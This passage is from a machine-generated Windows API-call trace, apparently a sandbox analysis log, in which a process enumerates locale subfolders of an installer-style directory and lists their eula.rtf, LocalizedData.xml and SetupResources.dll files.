dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.175] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.175] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.175] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.175] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.175] FindClose (in: hFindFile=0x10c8e10 | out: hFindFile=0x10c8e10) returned 1 [0044.175] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x33c00b0 | out: hHeap=0x2b10000) returned 1 [0044.175] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1043", cAlternateFileName="")) returned 1 [0044.175] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10c8e10 [0044.176] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.176] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.176] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.176] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.176] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.176] FindClose (in: hFindFile=0x10c8e10 | out: hFindFile=0x10c8e10) returned 1 [0044.176] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x33c00b0 | out: hHeap=0x2b10000) returned 1 [0044.176] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1044", cAlternateFileName="")) returned 1 [0044.176] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10c8e10 [0044.176] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.176] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.176] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.176] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.177] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.177] FindClose (in: hFindFile=0x10c8e10 | out: hFindFile=0x10c8e10) returned 1 [0044.177] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x33c00b0 | out: hHeap=0x2b10000) returned 1 [0044.177] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1045", cAlternateFileName="")) returned 1 [0044.177] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10c8e10 [0044.177] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.177] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.177] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.177] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.177] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.177] FindClose (in: hFindFile=0x10c8e10 | out: hFindFile=0x10c8e10) returned 1 [0044.177] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x33c00b0 | out: hHeap=0x2b10000) returned 1 [0044.177] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1046", cAlternateFileName="")) returned 1 [0044.177] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10c8e10 [0044.177] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.178] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.178] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.178] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.178] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.178] FindClose (in: hFindFile=0x10c8e10 | out: hFindFile=0x10c8e10) returned 1 [0044.178] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x33c00b0 | out: hHeap=0x2b10000) returned 1 [0044.178] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1049", cAlternateFileName="")) returned 1 [0044.178] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10c8e10 [0044.178] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.178] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.178] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.178] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.178] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.179] FindClose (in: hFindFile=0x10c8e10 | out: hFindFile=0x10c8e10) returned 1 [0044.179] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x33c00b0 | out: hHeap=0x2b10000) returned 1 [0044.179] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1053", cAlternateFileName="")) returned 1 [0044.179] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10c8e10 [0044.179] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.179] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.179] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, 